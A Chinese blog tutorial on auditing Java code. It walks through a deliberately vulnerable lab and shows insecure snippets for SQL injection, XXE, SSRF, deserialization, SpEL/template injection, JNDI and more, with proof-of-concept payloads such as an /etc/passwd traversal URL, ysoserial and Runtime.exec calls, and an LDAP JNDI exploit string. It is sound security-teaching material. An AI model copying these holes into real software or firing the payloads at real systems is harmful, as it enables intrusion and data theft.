Java代码审计之不安全的Java代码
Java代码审计之不安全的Java代码
在打靶场的同时,需要想一下如果你是开发人员你会怎样去防御这种漏洞,而作为攻击方你又怎么去绕过开发人员的防御。
环境搭建
https://github.com/j3ers3/Hello-Java-Sec
SQL注入
SQLI(SQL Injection), SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息,造成信息泄漏。
SQL注入之JDBC注入
JDBC有两个方法执行SQL语句,分别是PrepareStatement和Statement。
漏洞代码:
// 采用原始的Statement拼接语句,导致漏洞产生
public String jdbcVul(String id) {
StringBuilder result = new StringBuilder();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
Statement stmt = conn.createStatement();
// 拼接语句产生SQL注入
String sql = "select * from users where id = '" + id + "'";
ResultSet rs = stmt.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("user");
String res_pass = rs.getString("pass");
String info = String.format("查询结果 %s: %s", res_name, res_pass);
result.append(info);
}
漏洞代码二:
// PrepareStatement会对SQL语句进行预编译,但有时开发者为了便利,直接采取拼接的方式构造SQL,此时进行预编译也无用。
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
System.out.println("[*] 执行SQL语句:" + st);
ResultSet rs = st.executeQuery();
SQL注入之MyBatis
MyBatis框架底层已经实现了对SQL注入的防御,但存在使用不当的情况下,仍然存在SQL注入的风险。
漏洞代码:
// 此漏洞出现频率较高并且很严重!
// 为何产生:由于使用 #{} 会将对象转成字符串,形成 order by "user" desc 造成错误,因此很多研发会采用${}来解决,从而造成SQL注入
// 点击运行可通过报错语句获取数据库user
@RequestMapping("/mybatis/vul/order")
public List<User> orderBy(String field, String sort) {
return userMapper.orderBy(field, sort);
}
// mapper.xml语句
<select id="orderBy" resultType="com.best.hello.entity.User">
select * from users order by ${field} ${sort}
</select>
漏洞代码二:
// 模糊搜索时,直接使用'%#{q}%' 会报错,部分研发图方便直接改成'%${q}%'从而造成注入
@Select("select * from users where user like '%${q}%'")
List<User> search(String q);
// 安全代码,采用concat
@Select("select * from users where user like concat('%',#{q},'%')")
List<User> search(String q);
文件上传
文件上传漏洞,是指用户上传了一个可执行的脚本文件(如jsp\php\asp),并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,这种漏洞属于低成本高杀伤力
漏洞代码:
// 允许上传任意文件导致的安全风险
public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) {
try {
byte[] bytes = file.getBytes();
Path dir = Paths.get(UPLOADED_FOLDER);
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);
redirectAttributes.addFlashAttribute("message","上传文件成功:" + path + "");
} catch (Exception e) {
return e.toString();
}
return "redirect:upload_status";
}
目录遍历
目录遍历, 应用系统在处理下载文件时未对文件进行过滤,系统后台程序程序中如果不能正确地过滤客户端提交的../和./之类的目录跳转符,攻击者可以通过输入../进行目录跳转,从而下载、删除任意文件。
// 文件路径没做限制,通过../递归下载任意文件
// PoC:/Traversal/download?filename=../../../../../../../etc/passwd
@GetMapping("/download")
public String download(String filename, HttpServletRequest request, HttpServletResponse response) {
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
try {
File file = new File(filePath);
InputStream is = new BufferedInputStream(new FileInputStream(file));
byte[] buffer = new byte[is.available()];
fis.read(buffer);
fis.close();
response.reset();
response.addHeader("Content-Disposition", "attachment;filename=" + filename);
response.addHeader("Content-Length", "" + file.length());
OutputStream toClient = new BufferedOutputStream(response.getOutputStream());
response.setContentType("application/octet-stream");
toClient.write(buffer);
toClient.flush();
toClient.close();
return "下载文件成功:" + filePath;
XSS
XSS(Cross Site Scripting) 跨站脚本攻击,攻击者插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
漏洞代码:
// 简单的反射型XSS,没对输出做处理。当攻击者输入恶意js语句时可触发
@GetMapping("/reflect")
public static String input(String content) {
return content;
}
SSRF
SSRF(Server-Side Request Forgery) 服务器端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
漏洞代码:
// url参数没做限制,可调用URLConnection发起任意请求,比如请求内网,或使用file等协议读取文件
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection conn = u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String content;
StringBuffer html = new StringBuffer();
while ((content = reader.readLine()) != null) {
html.append(content);
}
reader.close();
return html.toString();
} catch (Exception e) {
return e.getMessage();
}
}
漏洞代码二:
// SSRF修复经常碰到的问题,虽然过滤了内网地址,但通过短链接跳转的方式可以绕过
public String URLConnectionSafe(String url) {
if (!Security.is_http(url)){
return "不允许非http/https协议!!!";
}else if (Security.isIntranet(url)) {
return "不允许访问内网!!!";
}else{
return Http.URLConnection(url);
}
}
远程代码执行
RCE (Remote Code Execution), 远程代码执行漏洞,这里包含两种类型漏洞:
- 命令注入(Command Injection),在某种开发需求中,需要引入对系统本地命令的支持来完成特定功能,当未对输入做过滤时,则会产生命令注入
- 代码注入(Code Injection),在正常的java程序中注入一段java代码并执行,即用户输入的数据当作java代码进行执行。
漏洞代码:
// 功能是利用ProcessBuilder执行ls命令查看文件,但攻击者通过拼接; & |等连接符来执行自己的命令。
@RequestMapping("/ProcessBuilder")
public static String cmd(String filepath) {
String[] cmdList = {"sh", "-c", "ls -l " + filepath};
StringBuilder sb = new StringBuilder();
ProcessBuilder pb = new ProcessBuilder(cmdList);
pb.redirectErrorStream(true);
...
漏洞代码二:
// getRuntime()常用于执行本地命令,使用频率较高。
@RequestMapping("/runtime")
public static String cmd2(String cmd) {
StringBuilder sb = new StringBuilder();
try {
Process proc = Runtime.getRuntime().exec(cmd);
InputStream fis = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
...
漏洞代码三:
// 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的eval
public void jsEngine(String url) throws Exception {
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
engine.eval(payload, bindings);
}
漏洞代码四:
// 不安全的使用Groovy调用命令
import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {
GroovyShell shell = new GroovyShell();
shell.evaluate(cmd);
}
漏洞代码五:
// ProcessImpl是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(null, new String[]{cmd}, null, null, null, false);
不安全的反序列化
反序列化漏洞,当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码(多见于第三方组件产生的漏洞)
漏洞代码:
// readObject,读取输入流,并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象。
// payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64
public String cc(String base64) {
try {
BASE64Decoder decoder = new BASE64Decoder();
base64 = base64.replace(" ", "+");
byte[] bytes = decoder.decodeBuffer(base64);
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
// 反序列化流,将序列化的原始数据恢复为对象
ObjectInputStream in = new ObjectInputStream(stream);
in.readObject();
in.close();
return "反序列化漏洞";
} catch (Exception e) {
return e.toString();
}
}
漏洞代码二:
// 远程服务器支持用户可以输入yaml格式的内容并且进行数据解析,没有做沙箱,黑名单之类的防控
public void yaml(String content) {
Yaml y = new Yaml();
y.load(content);
}
漏洞代码三:
// Java RMI Registry 反序列化漏洞,受jdk版本影响,< = jdk8u111
public String rmi() {
try {
Registry registry = LocateRegistry.createRegistry(9999);
} catch (Exception e) {
e.printStackTrace();
}
return "开启RMI监听,端口:9999";
}
失效的身份认证
失效的身份认证,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
表达式注入
SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。
漏洞代码:
// PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
@GetMapping("/vul")
public String spelVul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
String result = parser.parseExpression(ex).getValue().toString();
System.out.println(result);
return result;
}
XML外部实体注
XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。
漏洞代码:
@RequestMapping(value = "/XMLReader")
public String XMLReader(@RequestBody String content) {
try {
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 修复:禁用外部实体
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.parse(new InputSource(new StringReader(content)));
return "XMLReader XXE";
} catch (Exception e) {
return e.toString();
}
}
漏洞代码二:
// SAXReader
SAXReader sax = new SAXReader();
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
漏洞代码三:
// SAXBuilder
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {
try {
SAXBuilder saxbuilder = new SAXBuilder();
// 修复: saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxbuilder.build(new InputSource(new StringReader(content)));
return "SAXBuilder XXE";
} catch (Exception e) {
return e.toString();
}
}
越权访问
失效的访问控制(Broken Access Control),应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。
漏洞代码:
// 未做权限控制,通过遍历name参数可查询任意用户信息
@GetMapping("/vul/info")
public List<User> vul(String name) {
return userMapper.queryByUser(name);
}
接口未授权访问
接口未授权访问(Unauthorized Access),在不进行请求授权的情况下,能够直接对相应的业务逻辑功能进行访问、操作等。通常是由于认证页面存在缺陷或者无认证、安全配置不当等导致的。
漏洞代码:
// 对部分接口未做鉴权拦截,导致可未授权访问
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new LoginHandlerInterceptor())
.addPathPatterns("/**")
.excludePathPatterns("/Unauth/**", "/css/**", "/js/**", "/img/**");
}
SSTI模板注入
SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
漏洞代码:
/**
* 将请求的url作为视图名称,调用模板引擎去解析
* 在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞
* payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
*/
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
System.out.println(document);
}
漏洞组件
组件中存在的漏洞
XStream反序列化
XStream是一个简单的基于Java库,Java对象序列化到XML,历史上存在多个反序列化漏洞。
漏洞代码:
public String vul(@RequestBody String content) {
XStream xs = new XStream();
xs.fromXML(content);
return "XStream Vul";
}
Fastjson反序列化
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean,历史上存在多个反序列化漏洞。
// 使用了低版本,存在漏洞
// poc: {"@type":"java.net.Inet4Address","val":"8d5tv8.dnslog.cn"}
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
Jackson反序列化
Jackson是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串并提供对应的反序列化过程。由于其解析效率较高,Jackson目前是Spring MVC中内置使用的解析方式。
漏洞代码:
public void vul() {
try {
String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(o);
} catch (Exception e) {
e.printStackTrace();
}
}
Log4j2反序列化
Apache Log4j2是一款优秀的Java日志框架。此次漏洞是由 Log4j2 提供的lookup功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在处理数据时,并未对输入(如${jndi)进行严格的判断,从而造成JNDI注入
漏洞代码:
// log4j-core < 2.15.0-rc1
public String vul(String content) {
logger.error(content);
return "Log4j2 RCE";
}
shiro反序列化
其他漏洞
其他的一些漏洞
开放重定向
开放重定向漏洞,是指后台服务器在告知浏览器跳转时,未对客户端传入的重定向地址进行合法性校验,导致用户浏览器跳转到钓鱼页面的一种漏洞
出现场景:用户登录、统一身份认证等需要跳转的地方
漏洞代码:
// 满足参数url可控,且未做限制
public String vul(String url) {
return "redirect:" + url;
}
Actuator未授权访问
Actuator, 是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。
漏洞代码:
# 不安全的配置:Actuator设置全部暴露
management.endpoints.web.exposure.include=*
IP地址伪造
X-Forwarded-For地址伪造,很多Web应用需要获取用户的IP,通过IP伪造可以绕过一些安全限制。
漏洞代码:
public static String vul(HttpServletRequest request) {
String ip2 = request.getHeader("X-Forwarded-For");
if(!Objects.equals(ip2, "127.0.0.1")) {
return "禁止访问,只允许本地IP!";
} else {
return "success,你的IP:" + ip2;
}
}
Swagger未授权访问
Swagger未开启页面访问限制,Swagger未开启严格的Authorize认证。
CORS
CORS(Cross-origin resource sharing),即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。 CORS漏洞则是利用CORS技术窃取用户敏感数据,CORS漏洞的成因是服务端配置的规则不当所导致的,服务器端没有配置Access-Control-Allow-Origin等字段
漏洞代码:
public String corsVul(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
response.setHeader("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE,OPTIONS");
return "cors vul";
}
JNDI注入
Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。
漏洞代码:
// lookup是通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
Context ctx = new InitialContext();
ctx.lookup(url);
DoS漏洞
DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。
漏洞代码:
// Pattern.matches造成的ReDoS
// PoC: vul?contnet=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
public String vul(String content) {
boolean match = Pattern.matches("(a|aa)+", content);
return String.format("正则匹配:%s,正则表达式拒绝服务攻击", match);
}
验证码复用
验证码反复利用,可以直接进行暴力破解。(这是一类常见的安全问题)
一般来说,验证码是与Session绑定的,Session生成时,也伴随着验证码的生成和绑定,在访问页面时,接口的请求和验证码的生成通常是异步进行的,这使得两个功能变得相对独立。也就意味着我们如果仅请求接口,而不触发验证码的生成,那么验证码就不会变化。 并且在考虑安全时,开发人员的关注点往往在 验证码校验 是否通过,通过则进入业务流程,不通过则重新填写,而忽视了这个用户是否按照既定的业务流程在走(接口访问与验证码生成是否同时进行),验证码是否被多次使用了。
漏洞代码:
// 未清除session中的验证码,导致可复用
if (!CaptchaUtil.ver(captcha, request)) {
model.addAttribute("msg", "验证码不正确");
return "login";
}
馒头出品
博客:https://www.cnblogs.com/mantou0/